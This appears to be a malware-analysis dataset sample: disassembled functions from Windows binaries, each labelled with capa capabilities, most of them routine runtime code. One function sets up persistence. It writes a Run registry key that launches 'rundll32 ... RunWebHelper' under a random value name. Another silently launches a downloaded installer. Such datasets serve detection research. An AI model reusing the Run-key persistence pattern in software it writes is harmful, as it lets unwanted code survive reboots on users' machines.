joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000f73b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1000f5ac
Function at 0x10010ee9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10006100
mov eax, dword [0x1002a050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.1000f585
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x10010f2b
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x10011087
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.1001c6b0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x1002b790]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.10010a7e
mov ecx, dword [esi*4 + 0x1002b790]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x10011080
cmp eax, dword [edi + ecx + 0x24]
jne 0x10011080
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10011080
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10010a7e
add esp, 0x14
test edx, edx
jl 0x10011080
jg 0x10010ff6
test eax, eax
jb 0x10011080
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x10011080
jl 0x10011010
cmp dword [ebp - 0x1008], eax
ja 0x10011080
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x1001102e
test ebx, ebx
je 0x10011067
cmp ecx, edi
jae 0x10011067
mov al, byte [ecx]
cmp al, 0xd
jne 0x10011048
lea eax, [edi - 1]
cmp ecx, eax
jae 0x10011054
cmp byte [ecx + 1], 0xa
jne 0x10011054
inc ecx
jmp 0x10011054
movzx eax, al
movsx eax, byte [eax + 0x1002a2c8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x1001102e
cmp edx, ebx
jne 0x1001102e
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x10011085
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100052a6
leave
ret
Function at 0x1001124b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1002b790]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1001128b
cmp byte [ebx], 0xa
jne 0x1001128b
or byte [eax + edi + 0x28], 4
jmp 0x10011290
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x1001138e
mov al, byte [edx]
cmp al, 0x1a
je 0x10011370
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x100112bf
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x100112e4
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x100112ee
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x100112a1
jmp 0x1001138e
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001136b
cmp dword [ebp - 0xc], 0
je 0x1001136b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x1002b790]
test byte [eax + edi + 0x28], 0x48
je 0x10011345
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10011330
mov byte [esi], dl
jmp 0x10011341
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1002b790]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1001138e
cmp byte [ebp - 1], 0xa
jne 0x10011354
cmp esi, ebx
jne 0x10011354
mov byte [esi], 0xa
jmp 0x1001138d
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10010a9c
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1001138e
mov byte [esi], 0xd
jmp 0x1001138d
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x1002b790]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1001138a
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1001138e
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10011397
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x1002b790]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100113da
cmp word [esi], dx
jne 0x100113da
or byte [edi + eax + 0x28], 4
jmp 0x100113df
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x10011532
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x10011512
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x10011421
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10011457
cmp eax, edx
jae 0x10011463
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x100113f9
jmp 0x10011532
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001150e
cmp dword [ebp - 0x14], 0
je 0x1001150e
mov eax, dword [ebx*4 + 0x1002b790]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x100114e6
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x100114af
mov word [esi], cx
jmp 0x100114e2
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x1002b790]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x1002b790]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x1002b790]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x10011532
pop ebx
cmp word [ebp - 4], bx
jne 0x100114f7
cmp esi, dword [ebp + 0xc]
jne 0x100114f7
mov word [esi], bx
jmp 0x1001152f
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10010a9c
add esp, 0x10
cmp word [ebp - 4], bx
je 0x10011532
push 0xd
jmp 0x1001152b
mov ecx, dword [ebx*4 + 0x1002b790]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10011529
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10011532
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10011f9b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100201a8
push 0x100201a0
push str.FlsAlloc
push 0x1e
call fcn.10011e65
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10011fcf
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001d138]
call esi
jmp 0x10011fd5
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10012019
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100201b8
push 0x100201b0
push str.FlsGetValue
push 0x20
call fcn.10011e65
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10012050
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001d138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x10016ef1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10016f8e
push ebx
push esi
call fcn.10016eba
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10015c51
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10016f3b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10016f8d
push edi
push eax
call fcn.10012706
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10016f5b
call fcn.1000d832
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10016f8c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10015c51
add esp, 0x20
test eax, eax
jne 0x10016f7a
push edi
call fcn.1000d832
jmp 0x10016f82
push ebx
call fcn.1000d832
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1001bda1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1001bd1d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1001bf19
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1001bf19
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1001bec8
jg 0x1001bdfa
test eax, eax
je 0x1001bebe
push 1
push 0x1000
call fcn.100107f8
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1001be20
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x1001beb5
push 0x8000
push ebx
call fcn.1001bc4e
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1001be4c
jg 0x1001be47
cmp ecx, 0x1000
jb 0x1001be4c
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100105f8
add esp, 0x10
cmp eax, 0xffffffff
je 0x1001be91
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1001be47
jl 0x1001be78
test ecx, ecx
jne 0x1001be39
push dword [ebp - 0xc]
push ebx
call fcn.1001bc4e
push esi
call fcn.1000d832
add esp, 0xc
xor edi, edi
jmp 0x1001bf2a
cmp byte [edi + 0x24], 0
je 0x1001bea8
cmp dword [edi + 0x20], 5
jne 0x1001bea8
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1001beb3
mov edi, dword [edi + 0x18]
jmp 0x1001beb5
xor edi, edi
push esi
call fcn.1000d832
pop ecx
jmp 0x1001bf2a
test ecx, ecx
jg 0x1001be8a
jl 0x1001bec8
test eax, eax
jae 0x1001be8a
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10010a9c
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1001beeb
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x1001be8a
jmp 0x1001bf22
push ebx
call fcn.100198ed
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1001be8a
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x1001bf2a
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x1001bf27
mov edi, dword [edi + 0x18]
jmp 0x1001bf2a
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10010a9c
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001550
Capabilities:
Create process on windows
Persist via run registry key
Print debug messages
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [0x1001b3ac]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push eax
push str.cmd__c_start_rundll32___s__RunWebHelper
lea eax, [ebp - 0x308]
push 0x200
push eax
call fcn.10001010
add esp, 0x10
lea eax, [ebp - 0x350]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100016c5
lea ecx, [ebp - 0x308]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100015c7
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x308]
push eax
push 1
push 0
push str.gYAB25vbT3nj
push dword [ebp - 0x350]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1000160e
push dword [ebp - 0x350]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001995
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x34c], 0x44
mov word [ebp - 0x30a], ax
xorps xmm0, xmm0
mov word [ebp - 0x31c], ax
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x34c]
movlpd qword [ebp - 0x348], xmm0
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x308]
movlpd qword [ebp - 0x340], xmm0
push eax
push 0
movlpd qword [ebp - 0x338], xmm0
movlpd qword [ebp - 0x330], xmm0
movlpd qword [ebp - 0x328], xmm0
movlpd qword [ebp - 0x31a], xmm0
movlpd qword [ebp - 0x312], xmm0
mov dword [ebp - 0x320], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x360]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x35c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x350]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Successful
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001995
mov esp, ebp
pop ebp
ret

Function at 0x10006e66
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10006ea5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10006ea5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10006ea5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10006ea5
cmp dword [ecx + 0x74], 0xe
jbe 0x10006ea5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000acc7
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000ad64
push ebx
push esi
call fcn.1000ac90
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000ac24
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000ad11
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000ad63
push edi
push eax
call fcn.10007a2c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000ad31
call fcn.100079f2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000ad62
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000ac24
add esp, 0x20
test eax, eax
jne 0x1000ad50
push edi
call fcn.100079f2
jmp 0x1000ad58
push ebx
call fcn.100079f2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000afd4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014bb0
push 0x10014ba8
push str.FlsAlloc
push 0x1f
call fcn.1000aeed
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000b008
push dword [ebp + 8]
mov ecx, esi
call dword [0x10013138]
call esi
jmp 0x1000b00e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000b052
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014bc0
push 0x10014bb8
push str.FlsGetValue
push 0x21
call fcn.1000aeed
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000b089
push dword [ebp + 8]
mov ecx, esi
call dword [0x10013138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000b091
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10014bc8
push 0x10014bc0
push str.FlsSetValue
push 0x22
call fcn.1000aeed
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000b0cb
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10013138]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x401a90
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x44d756
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
mov dword [esi], fcn.00409f30
push edi
xor edi, edi
mov dword [esp + 8], esi
mov dword [esi + 8], 0x4542d8
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esp + 0x14], edi
mov dword [esi + 0x1c], 0x45434c
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], 0x11
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], 0xa
mov dword [esi + 4], edi
mov eax, dword [esi + 0x20]
cmp eax, edi
mov byte [esp + 0x14], 1
je 0x401b09
push eax
call sub.MFC71U.DLL_operator_new_1
add esp, 4
mov dword [esi + 0x20], edi
push 0x2c
call sub.MFC71U.DLL_SerializeElements
mov edi, eax
add esp, 4
mov dword [esi + 0x20], edi
xor eax, eax
mov ecx, 0xb
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x24], 0xb
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x4078d0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x624
mov eax, dword [0x473388]
push ebx
mov dword [esp + 0x624], eax
cmp dword [ecx + 0xc8], 0xffffffff
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x40790f
xor al, al
mov ecx, dword [esp + 0x62c]
call fcn.0044ca5b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor eax, eax
xor esi, esi
mov word [esp + 0x218], si
mov ecx, 0x81
lea edi, [esp + 0x21a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x218]
push 0x104
push eax
call dword [sym.imp.ServiceCore.dll_public:_static_bool___cdecl_CWHService::GetWorkDirectory_wchar_t__const__unsigned_short_int_]
mov ebx, dword [sym.imp.MSVCR71.dll__snwprintf]
mov word [esp + 0x18], si
xor eax, eax
mov ecx, 0x81
lea edi, [esp + 0x1a]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x220]
push ecx
push str._sDownLoad
lea edx, [esp + 0x20]
push 0x104
push edx
stosw word es:[edi], ax
call ebx
mov esi, dword [ebp + 8]
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, eax
test edx, edx
jbe 0x40798e
cmp word [esi + edx*2], 0x2f
je 0x40798e
dec edx
jne 0x407984
xor eax, eax
mov word [esp + 0x420], 0
mov ecx, 0x81
lea edi, [esp + 0x422]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esi + edx*2 + 2]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0x455ce0
lea edx, [esp + 0x42c]
push 0x104
push edx
call ebx
add esp, 0x14
push 0
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx + 0xc4]
push 0
add ecx, 0xc4
push 0x1001
lea eax, [esp + 0x428]
push eax
call dword [edx + 0x28]
mov ecx, dword [esp + 0x62c]
test eax, eax
setne al
call fcn.0044ca5b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x407f80
Capabilities:
Create process on windows
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44de6c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x480
mov eax, dword [0x473388]
push ebx
mov ebx, ecx
push esi
push edi
mov dword [esp + 0x484], eax
xor eax, eax
xor esi, esi
mov word [esp + 0x70], si
mov ecx, 0x81
lea edi, [esp + 0x72]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x14], ebx
add ebx, 0xc4
stosw word es:[edi], ax
mov eax, dword [ebx]
push ecx
mov ecx, ebx
call dword [eax + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push str..WHD
mov dword [esp + 0x498], esi
call edi
lea ecx, [esp + 0xc]
mov esi, eax
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
push eax
call edi
sub eax, esi
shl eax, 1
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], eax
mov word [esp + eax + 0x70], 0
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
mov ecx, dword [esp + 0x10]
mov edx, ecx
shr ecx, 2
mov esi, eax
mov eax, dword [ebx]
lea edi, [esp + 0x70]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, ebx
call dword [eax + 0x54]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 9
xor ebx, ebx
push ebx
push ebx
lea edx, [esp + 0x7c]
push edx
lea ecx, [esp + 0x1c]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
test eax, eax
je 0x4080f6
mov esi, dword [esp + 0x14]
cmp word [esi + 0x80], bx
je 0x40808e
lea eax, [esp + 0x70]
push eax
push str._s__VERYSILENT
push 0x104
lea ecx, [esp + 0x284]
push ecx
jmp 0x4080a5
lea edx, [esp + 0x70]
push edx
push 0x455f34
push 0x104
lea eax, [esp + 0x284]
push eax
call dword [sym.imp.MSVCR71.dll__snwprintf]
add esp, 0x10
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea ecx, [esi + 0xa88]
push ecx
lea edx, [esp + 0x2c]
push edx
push ebx
push ebx
push 0x4000000
push ebx
push ebx
push ebx
lea eax, [esp + 0x298]
push eax
push ebx
mov dword [esp + 0x50], 0x44
mov word [esp + 0x80], 0xa
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x408104
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
xor al, al
jmp 0x408154
cmp dword [esi + 0x20], ebx
jne 0x408136
mov eax, dword [esi + 0xa84]
mov edx, dword [esi]
push ebx
push 0x64
push eax
lea ecx, [esp + 0x24]
push ecx
push 0x40000000
push ebx
push ebx
mov ecx, esi
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
call dword [edx + 0x5c]
mov edx, dword [esi + 0x20]
push ebx
push 0x64
push 0xc8
push edx
call dword [sym.imp.USER32.dll_SetTimer]
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
mov al, 1
mov ecx, dword [esp + 0x48c]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x484]
call fcn.0044ca5b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret